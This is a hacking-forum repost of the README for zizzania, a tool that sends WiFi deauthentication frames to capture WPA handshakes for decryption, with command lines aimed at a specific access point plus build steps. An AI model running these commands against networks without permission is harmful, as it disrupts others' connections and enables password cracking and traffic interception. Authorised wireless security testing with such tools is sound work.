# Zizzania | Automated WiFi DeAuth Attack

**URL:** <https://onehack.st/t/zizzania-automated-wifi-deauth-attack/194918>\
**Category:** Tools & Scripts\
**Tags:** tools, freebies, networking\
**Created:** [July 23, 2021, 10:25pm UTC](https://onehack.st/t/zizzania-automated-wifi-deauth-attack/194918 "2021-07-23T22:25:31Z")\
**Posts on this page:** 1\
**Page:** 1

<div class="post-metadata">

**Author:** ![PlayBoy83](https://onehack.st/user_avatar/onehack.st/playboy83/32/164314_2.png) [@PlayBoy83](https://onehack.st/u/PlayBoy83)\
**Post date:** [July 23, 2021, 10:25pm UTC](https://onehack.st/t/zizzania-automated-wifi-deauth-attack/194918/1 "2021-07-23T22:25:31Z")

</div>

![image](https://onehack.st/uploads/default/original/3X/e/a/eaf038864c9c992e077c54ecd51cf5eb5d953019.png)

zizzania sniffs wireless traffic listening for WPA handshakes and dumping only those frames suitable to be decrypted (one beacon + EAPOL frames + data). In order to speed up the process, zizzania sends IEEE 802.11 DeAuth frames to the stations whose handshake is needed, properly handling retransmissions and reassociations and trying to limit the number of DeAuth frames sent to each station.

## Examples

Put the network interface in RFMON mode on channel 6 and save the traffic gathered from the stations associated to a specific access point excluding those whose MAC address starts with `00:11:22`:

```auto
zizzania -i wlan0 -c 6 -b AA:BB:CC:DD:EE:FF -x 00:11:22:33:44:55/ff:ff:ff:00:00:00 -w out.pcap

```

Passively analyze the traffic generated by any station on the current channel assuming that the network interface is already RFMON mode:

```auto
zizzania -i wlan0 -n

```

Strip unnecessary frames from a pcap file (excluding altogether the traffic generated by one particular station) considering an handshake complete after just the first two messages (which should be enough for unicast traffic decryption):

```auto
zizzania -r in.pcap -x 00:11:22:33:44:55 -w out.pcap

```

## Setup

### Dependencies

For Debian-based systems:

```auto
sudo apt-get install libpcap-dev

```

For macOS systems (Homebrew):

```auto
brew install libpcap wget

```

### Building

```auto
make -f config.Makefile
make

```

### Installation

The installation process is not mandatory, zizzania can be run from the `src` directory. Just in case:

```auto
make install
make uninstall

```

## macOS support

Channel switching must be performed manually:

```auto
ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport
sudo airport --disassociate
sudo airport --channel=<channel>

```

## GitHub:

> **[GitHub - cyrus-and/zizzania: Automated DeAuth attack](https://github.com/cyrus-and/zizzania)**
>
> Automated DeAuth attack
